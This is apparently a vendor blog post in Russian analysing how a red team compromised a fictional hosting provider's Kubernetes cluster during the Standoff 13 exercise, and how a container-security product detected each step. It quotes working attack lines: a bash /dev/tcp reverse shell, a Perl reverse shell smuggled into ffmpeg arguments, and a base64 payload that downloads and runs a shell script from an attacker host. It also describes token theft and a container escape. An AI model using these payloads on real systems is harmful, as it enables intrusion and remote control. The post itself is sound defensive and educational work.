В марте мы рассказывали, как хакеры ломают банки (за 48 часов!) и какие ИБ-продукты их защищают. Standoff 13 принес нам новые кейсы. Начнем с разбора взлома облачной инфраструктуры хостинг-провайдера Nodenest, который работал в вымышленном Государстве F. Вас ждет история о том, как продукт для защиты контейнерных сред PT Container Security (PT CS) поймал крайне интересный kill chain на уровне рантайма. Погнали!

Исходные данные

В этот раз на кибербитве Standoff у команды защитников был доступ к PT CS 0.5, в котором был доработан интерфейс, а также добавлены новые источники и детекторы. Все это помогло командам провести несколько удачных расследований и заработать дополнительные баллы.

STFware

Вначале объясним, что это был за хостинг и какие задачи стояли перед атакующими.

Согласно легенде, компания STFware является владельцем хостинга Nodenest, а также разработчиком сервиса Verbals (редактор титров для видео). Все сервисы компании размещены на едином Kubernetes-кластере.

Среди всех критических событий нас в особенности интересовала реализация атакующими следующих:

  • Компрометация служебного сервиса Verbals хостинг-провайдера Nodenest.

  • Получение доступа к виртуальному серверу клиента хостинг-провайдера Nodenest.

Kill chain атакующей команды

Первые несколько шагов были реализованы на пограничных хостах инфраструктуры хостинга и не касались кластера Kubernetes, поэтому я ограничусь общим описанием, чтобы у читателя был контекст происходящего.

В разделе «Обнаружение» будет описание расследования со скриншотами из PT CS, на которых события выводятся в обратном хронологическом порядке (старые внизу, новые сверху), иконкой отображается тип событий, далее указаны namespace/pod, функция (в случае kprobe), исполняемый файл, аргументы, уровень опасности обнаруженной угрозы (если есть) и время.

Шаг № 1 — RCE на публично доступном сервисе

Действия атакующих

Первоначальный доступ к инфраструктуре атакующие получили эксплуатировав уязвимость CVE-2017-1000353 на доступном снаружи Jenkins. В результате у атакующих появилась возможность удаленного выполнения команд на пограничном узле.

Шаг № 2 — Создание сетевого туннеля

MITRE Tactic

MITRE Technic

Command and Control

Protocol Tunneling

Действия атакующих

Используя полученный доступ, атакующие построили сетевой туннель до своего С2-сервера и использовали его для закрепления, разведки и продвижения вглубь целевой инфраструктуры

Шаг № 3 — Создание VPS-сервера на внутреннем хостинге

Действия атакующих

Атакующие обнаружили сервис хостинга, зарегистрировали аккаунт и создали «бесплатный» VPS. Наличие такого «легитимного» доступа к целевой инфраструктуре дает возможность более эффективно вести разведку и исследовать инфраструктуру жертвы.

Обнаружение

Поскольку VPS — это под Kubernetes-кластера, находящегося под наблюдением PT CS, следующая активность была обнаружена при реализации этого шага:

  1. Инициализация контейнера и запуск стартового скрипта.

  1. Если немного пролистать события первоначальной инициализации контейнера, то можно встретить запуск командной оболочки  bash, принадлежащей команде атакующих.

  1. А после этого загрузку linpeas (разведывательная утилита для сбора и поиска информации о возможных способах LPE) и его запуск:

Уже на этих этапах есть сработки наших детекторов (зеленый маркер на скриншотах выше означает низкий уровень опасности), логика которых ориентирована на подозрительный запуск утилит.

Шаг № 4 — Сбор информации об узлах

Действия атакующих

Команда продолжила разведку и установила, что с созданной ими VPS доступен целевой сервис Verbals, а также GitLab-сервер с открытыми репозиториями. Всё это атакующие узнали, изучив переменные среды. Теперь они знают, где расположен целевой сервис, и могут проводить таргетированную разведку и анализ.

Обнаружение

Как я и писал выше, у нас есть детектор на стандартный запуск утилит разведки, а также использование утилит для удаленной загрузки файлов (curl, wget и т. д.), поэтому действия атакующих сразу были обнаружены.

Эти события идеально совпадают с отметкой времени (timestamp) из скриншота атакующих, который они приложили к отчету (см. выше), но если немного покопаться в событиях, которые произошли раньше, то можно найти, что именно изучение вывода linpeas, натолкнуло атакующих на проверку нужного URL.

Продолжив изучать события, можно обнаружить установку git с помощью apt.

А также загрузку открытого репозитория с локального гитлаба.

Оба действия распознаны PT CS как угроза, только с разным уровнем опасности.

Как видно по примерам, наши детекторы справились и успешно указали на факты ведения атакующими разведывательной деятельности.

Шаг № 5 — Создание сетевого туннеля

MITRE Tactic

MITRE Technic

Command and Control

Protocol Tunneling

Действия атакующих

Атакующие построили сетевой туннель со своего C2-сервера на созданную на предыдущем шаге VPS с пробросом сетевого доступа к сервису Verbals. Помимо того, что туннель обеспечивает удобный доступ к целевому сервису, он еще и шифрует сетевой трафик, затрудняя его обнаружение средствами защиты.

Обнаружение

Сейчас SSH-туннели в PT CS можно выявить, используя удобные фильтры и возможность перемещения по контексту событий.

Конкретно для этой реализации, зная, что в таком случае запущенная служба sshd будет устанавливать сетевые соединения с адресом, куда будет проброшен тоннель, мы можем отфильтровать события по функции tcp_connect, вызванной исполняемым файлом sshd. Соответственно, в аргументах функции мы должны увидеть этот адрес.

Ниже пример такого события.

В ближайшее время мы планируем выпустить специализированный детектор для обнаружения такой активности.

Шаг № 6 — Эксплуатация уязвимости в программном коде веб-сервиса

Действия атакующих

Скопированный на четвертом шаге репозиторий оказался исходным кодом целевого сервиса (Verbals). Проанализировав содержимое, атакующие выяснили, что функционал загрузки видеофайлов сервиса уязвим для RCE.

Воспользовавшись этой уязвимостью, красная команда запустила реверс-шелл (reverse shell) и получила возможность выполнять команды в контейнере сервиса Verbals.

Обнаружение

Теперь давайте взглянем на реализацию RCE. Это классический реверс-шелл с использованием возможностей bash перенаправлять вызовы напрямую в сетевой сокет.

/bin/bash >& /dev/tcp/xxx.xxx.xxx.xxx/10789 0>&1

Прямо во время Standoff 13 команда разработки добавила новый детектор реверс-шелла, который реагирует на общие признаки его использования, независимо от исполняемого файла, но конкретно в тот момент его еще не было. Детектор дает нам возможность изучить поступившие события самостоятельно.

Для начала заметим, что рассматриваемый вариант шелла самостоятельно устанавливает соединение с сокетом. В PT CS есть источник, который срабатывает при вызове функций ядра, используемых при работе сетевых подключений (таких как tcp_connect, tcp_sendmsg, tcp_close).

Получается, нам нужно найти сработку функции tcp_* от имени bash в нужном контейнере. Воспользуемся этими фактами, чтобы заполнить поля фильтров событий. Поскольку мы знаем порт, то используем и его, чтобы сузить выборку до событий от конкретной команды атакующих.

Получим небольшую выборку событий, которые указывают на создание и закрытие соединений с С2-хостом атакующих.

Неплохой вариант для расширения логики нашего детектора реверс-шелла. Однако, чтобы сделать ее более универсальной, лучше по возможности не привязываться к исполняемым файлам, а стараться опираться на работу определенных функций ядра и значения ее аргументов. Такой способ обнаружения является гибридным и находится ближе к поведенческому анализу, чем к сигнатурному, и является отличительной особенностью нашей реализации механизма обнаружения угроз на основе WebAssembly.

Давайте ради интереса попробуем найти команды, которые запускали атакующие после подключения. Для этого нам нужно воспользоваться механизмом поиска родительских или дочерних процессов, встроенных в интерфейс PT CS.

Сейчас мы видим выборку из нескольких попыток, предпринятых атакующими для реализации атаки. Выберем ту, где коммандлайн полностью совпадает с тем, что они указывали в отчете, и посмотрим другие события от того же родителя. Для этого предусмотрена специальная кнопка в строке события.

Сейчас в выборке только одно событие, поскольку у нас еще активны старые фильтры.

Давайте уберем их и установим фильтр для отображения только событий запуска новых процессов.

Отлично! Теперь мы видим событие запуска bash, который и является реверс-шеллом.

Теперь можно посмотреть его дочерние процессы, чтобы увидеть, какие команды запускали атакующие, получив интерактивную консоль внутри системы.

Шаг № 7 — Компрометация учетной записи

Действия атакующих

Получив реверс-шелл на контейнер с сервисом Verbals и проведя небольшую разведку, «красные» обнаружили смонтированный токен сервисной учетной записи Kubernetes (стандартное поведение при использовании сервисных учетных записей в Kubernetes-кластере).

Быстрая проверка прав доступа показала, что у учетной записи есть доступ к секретам кластера.

Среди доступных секретов обнаружили gitlab-nodenest-ssh-key-secret, который позволяет получить полный доступ к репозиторию, где помимо прочего хранятся манифесты подов k8s-кластера, используемые при создании новых VPS в хостинге.

Обнаружение

Использование токена сервисной учетной записи — довольно известный способ повысить свои привилегии при доступе к Kubernetes API, поэтому у нас уже был подготовлен детект на такой случай, который как раз и сработал.

Ну и, конечно, запуск kubectl внутри контейнера не остался без внимания.

Стоп... откуда взялся kubectl?

Давайте просмотрим все события, где есть исполняемый файл /tmp/kubectl, и найдем самое первое.

Предположим, что файл появился в рамках той же сессии, что и найденное событие. В таком случае у процесса, который загрузил файл, будет тот же родитель. Как раз на такой случай пригодится фильтр на события от того же родителя.

Полученную выборку дополнительно отфильтруем по сработанным угрозам, и вот момент загрузки утилиты у нас как на ладони.

Шаг № 8 — Загрузка модифицированной конфигурации контейнера

MITRE Tactic

MITRE Technic

Persistence

Implant Internal Image

Действия атакующих

Получив доступ, атакующие изменили манифест пода, сделав запускаемый контейнер привилегированным и загрузили модифицированный конфигурационный файл в репозиторий, который используется при создании нового VPS-сервера на хостинге.

Контейнер, запущенный с такой опцией, имеет расширенный доступ к элементам хостовой ОС, которые позволяют злоумышленникам покинуть изолированную среду и эскалировать привилегии до суперпользователя.

Действия на этом шаге были выполнены вне контролируемой PT CS инфраструктуры, поэтому они не были обнаружены продуктом.

Шаг № 9 — Побег из контейнера

Действия атакующих

«Красные» создали новую VPS, но теперь, благодаря повышенным привилегиям, с которыми был запущен под, у них появился доступ к директории /dev ноды Kubernets-кластера, на которой был запущен под.

Смонтировав ее, они смогли получить неограниченный доступ к файловой системе активной ноды Kubernetes-кластера.

Далее они прописали свой SSH-ключ в authorized_keys пользователя root и подключились по SSH к ноде кластера Kubernetes под суперпользователем, тем самым реализовав недопустимое событие.

Обнаружение

Прежде всего, запуск привилегированного пода мы обнаружили благодаря пометкам в интерфейсе PT CS, которые говорят о том, что команда запускается с возможностями (capabilities) CAP_SYS_ADMIN.

Стоит также упомянуть, что одной из возможностей PT CS является проверка загружаемых конфигураций ресурсов кластера Kubernetes, реализованная с помощью механизма Dynamic Admission Control. Она проверяет манифесты на наличие уязвимых и небезопасных опций, одной из которых (помимо прочих) является и запуск привилегированного контейнера. На практике механизм может блокировать применение таких конфигураций, однако правила проведения Standoff требуют отключения блокирующих механизмов, поэтому в итоге под был запущен.

Выполнение команд на уровне рантайма, однако, не пропустили и в событиях все равно увидели, каким образом атакующие «сбежали» из контейнера.

Что еще делали атакующие

Oбфускация коммандлайнов с использованием регулярных выражений

Командные оболочки в Linux поддерживают регулярные выражения, передаваемые в качестве командных аргументов. Этим функционалом часто пользуются атакующие, чтобы скрыть свои действия и остаться незамеченными для средств защиты. Вот несколько примеров, которые мы обнаружили на прошедшем Standoff.

"binary": "/usr/bin/bash",
"arguments": "-c \"ffmpeg -i uploads_20240523155824cat.mp4 -vf 'drawtext=text=test' test.mp4;test' test.mp4;/u?r /b?n/w?oa*  #:x=(w-text_w)/2:y=(h-text_h)/2:fontsize=24:fontcolor=red' uploads_processed_20240523155824cat.mp4\"",
"binary": "/usr/bin/bash",
"arguments": "-c \"ffmpeg -i uploads_20240523163007cat.mp4 -vf 'drawtext=text=test' test.mp4;/u*/b*/*rl 1.1.1.1#: x=(w-text_w)/2:y=(h-text_h)/2:fontsize=24:fontcolor=red' uploads_processed_20240523163007cat.mp4\""
"binary": "/usr/bin/bash",
"arguments": "-c \"ffmpeg -i uploads_20240524085116cat.mp4 -vf 'drawtext=text=test'  test.mp4;/usr/bin/pe*l -e 'use Socket;$i=\"10.1.3.42\";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S, sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh i\");};' #:x=(w-text_w)/2:y=(h-text_h)/2:fontsize=24:fontcolor=red' uploads_processed_20240524085116cat.mp4\"",

А теперь давайте посмотрим, как PT CS обрабатывает такие события. Для этого изучим дочерние процессы, которые были созданы при вызове одной из команд.

Видим, что PT CS предоставил нам корректные сведения об исполняемом файле.

Это произошло, потому что выполнение бинарного файла отслеживается с использованием механизмов eBPF (таких как krpobe, kretprobe и tracepoint), которые работают непосредственно в пространстве ядра. В свою очередь, преобразования регулярных выражений происходят на стороне пользовательского пространства, поэтому события, которые мы в итоге видим в PT CS, всегда будут содержать полную информацию о запущенном бинарном файле. Так что «обмануть» его таким образом не получится.

base64

Еще один известный пример обфускации полезной нагрузки — это кодирование последовательности команд или кода с помощью base64. Таких примеров на майском Standoff было несколько, рассмотрим парочку из них и посмотрим, что можно узнать из событий PT CS.

Для начала возьмем простой пример. Используя RCE уязвимость в программном коде приложения, «красным» удалось провести атаку и передать следующую полезную нагрузку:

"binary": "/bin/sh", 
"arguments": "-c \"echo d2dldCBodHRwOi8vMTAuMTE5LjI1MC4xNDoxMjk4MS9yZXYyLnNoIC1PIC90bXAvcmV2Mi5zaDtjaG1vZCAreCAvdG1wL3JldjIuc2g7L3RtcC9yZXYyLnNoICY=|base64 -d|sh\"",

А так выглядит событие, связанное с этой атакой в PT CS.

А теперь давайте посмотрим, что скрывается за этой закодированной строкой. Как видим, для запуска команды необходимо декодировать ее командой base64 -d и затем передать в командный интерпретатор. Получается, нам необходимо просто найти дочерние процессы, вызванные этой командой. Для этого интерфейс PT CS предоставляет специальный функционал отслеживания родительских и дочерних процессов исходя из выбранного события.

Полученная выборка содержит события запуска обоих процессов.

Нас интересует процесс /bin/sh, поскольку на его стандартный вход были переданы команды, — значит, все, что он выполнит, будет его дочерними процессами. Воспользуемся функционалом интерфейса еще раз и получим команды, которые были закодированы в изначальной строке (некоторые из них PT CS пометил как угрозу).

Теперь рассмотрим кое-что поинтереснее:

"binary": "/bin/sh",
"arguments": "-c \"cat /tmp/s|base64 -d >/tmp/b\"",

Как видите, атакующие умудрились сохранить закодированную в base64 полезную нагрузку. Декодировав ее, они сохраняют ее в другой файл. Попробуем узнать, что она делает. Для этого отфильтруем события по аргументам, содержащим /tmp/b, и увидим команды, которые назначают полные права доступа на файл, включая исполнение и непосредственно запуск.

Теперь можно посмотреть, какие события создавались дочерними процессами при запуске этого файла, и попытаться определить, что он делает.

Получаем выборку событий, среди которых видим непосредственно запуск полезной нагрузки, которую наш детектор оценил как угрозу, установление сетевого соединения и активный обмен информацией, говорящий о том, что соединение установлено успешно.

В аргументах функции tcp_connect можно увидеть адрес и порт С2-сервера атакующих. Судя по всему, в качестве полезной нагрузки была закодирована именно утилита.

Давайте пойдем еще дальше и посмотрим, какие дочерние процессы вызвала эта утилита атакующих, воспользовавшись уже знакомым функционалом.

И это командная оболочка. Похоже, перед нами скомпилированный реверс-шелл.

Ну а если взглянуть на дочерние процессы этого шелла, то можно найти много интересного, например, что атакующие прочитали токены сервисной учетной записи Kubernetes-кластера и попытались прочитать переменные окружения нескольких запущенных процессов.

Как видно из этого мини-расследования, PT CS предоставляет достаточно сведений, чтобы разобраться в том, что происходит в ваших Kubernetes-подах и контейнерах.

Обнаружение доступа к файлам по относительным путям

Один из вызовов, с которыми мы столкнулись при использовании eBPF в качестве источника событий, — это путь в файловой системе до целевого файла, который возвращает та или иная функция ядра. В двух словах, если утилита обращается к нужному нам файлу по относительному пути, например:

user@Debian ~ $ cd /etc
user@Debian /etc $ cat shadow

то некоторые функции ядра, вызванные в результате работы сискола, в таком случае в аргументах возвращают относительный путь, что сильно ограничивает, если мы хотим отфильтровать события на уровне источника, чтобы исключить неинтересные нам события или, например, ограничить сработку детектора, только по интересующим нас файлам или путям.

Однако существуют функции, которые, наоборот, «раскрывают» полный путь до файла и содержат его в своих аргументах. Основная задача в таком случае — это найти такие функции.

Хороший пример — это функция ядра security_file_permission, и на майском Standoff мы наблюдали прекрасные результаты, когда детектор обращения к токену сервисной учетной записи Kubernetes-кластера срабатывал даже при обращении к токену по относительному пути.

В сырых событиях можно увидеть, что атакующие читали токен, находясь в директории /run/secrets/kubernetes.io/serviceaccount.

Но в аргументах функции видим полный путь до файла.

Что в итоге

Как уже было сказано ранее, к битве Standoff мы подготовили несколько новых детекторов и источников, а также улучшили старые. Ниже приведена диаграмма по количеству сработок каждого из них.

Detector

Description

PTCS_RT_CVE_2022_0492

Эксплуатация уязвимости механизма изоляции контейнеров (CVE-2022-0492)

PTCS_RT_DOWNLOAD_TOOLS

Сетевая активность: загрузка файлов

PTCS_RT_HACK_TOOLS

Инструменты для взлома

PTCS_RT_K8S_SA_TOKEN_READ

Чтение аутентификационного токена Kubernetes

PTCS_RT_REVERSE_SHELL

Признаки использования reverse shell

Согласно диаграмме, первое место по сработкам занимает PTCS_RT_HACK_TOOLS, что, в общем, неудивительно, — это наш большой собирательный детектор, который срабатывает по нескольким признакам:

  • совпадение по имени бинарного файла из списка,

  • запуск процесса из подозрительной директории (например, tmp)

  • запуск бинарного файла с заданными привилегиями setuid|setgid.

Но указанные выше признаки дают только поверхностную оценку угрозы без какой-либо конкретики. Тут на помощь пришли наши «детекторы-новички», которые отлично себя показали и даже позволили выявить попытку эксплуатации CVE: атакующие хотели сбежать из контейнера и эскалировать привилегии с помощью утилиты depcee, в возможности которой как раз входит реализация CVE-2022-0492.

Действия атакующих помогли выявить много полезных данных для анализа, и одним из направлений, в рамках которых планируется улучшить обнаружение, будет pivoting. Диаграмма ниже показывает утилиты, которые создавали наибольшее количество сетевых соединений (синий столбик), а также количество запусков таких утилит (оранжевый столбик). Самое большое количество сетевых соединений порождают как раз упомянутые выше утилиты (fscan, nmap, chisel и проч.).

Если говорить про источники событий, то количества генерируемых событий сейчас достаточно для проведения полноценного расследования инцидентов, стартовой точкой которого может стать одна из сработок текущих детекторов.

Сейчас у нас на разных этапах находится разработка еще нескольких детекторов, которые не были представлены в рамках прошедшего Standoff. Так что вскоре они усилят обнаружение техник атакующих и позволят защитникам быстрее и эффективнее выявлять критические события.

Комментарии (4)


  1. frct1
    12.08.2024 10:44

    Как сильно изменился бы ход действий, работая k8s на базе того же Talos без SSH и каких-либо «внешних» простых способов управления?


    1. genie_zs Автор
      12.08.2024 10:44

      Вы о ходе действий злоумышленника?


      1. frct1
        12.08.2024 10:44

        Именно о возможных действиях злоумышленника, так как талос больше позиционируется как абстрагированный от ручного управления дистрибутив


        1. genie_zs Автор
          12.08.2024 10:44
          +2

          Это хороший вопрос, тянет на отдельную статью)) Быстрого ответа дать не могу, постараемся раскрыть в рамках одной из будущий статей. Спасибо за вопрос)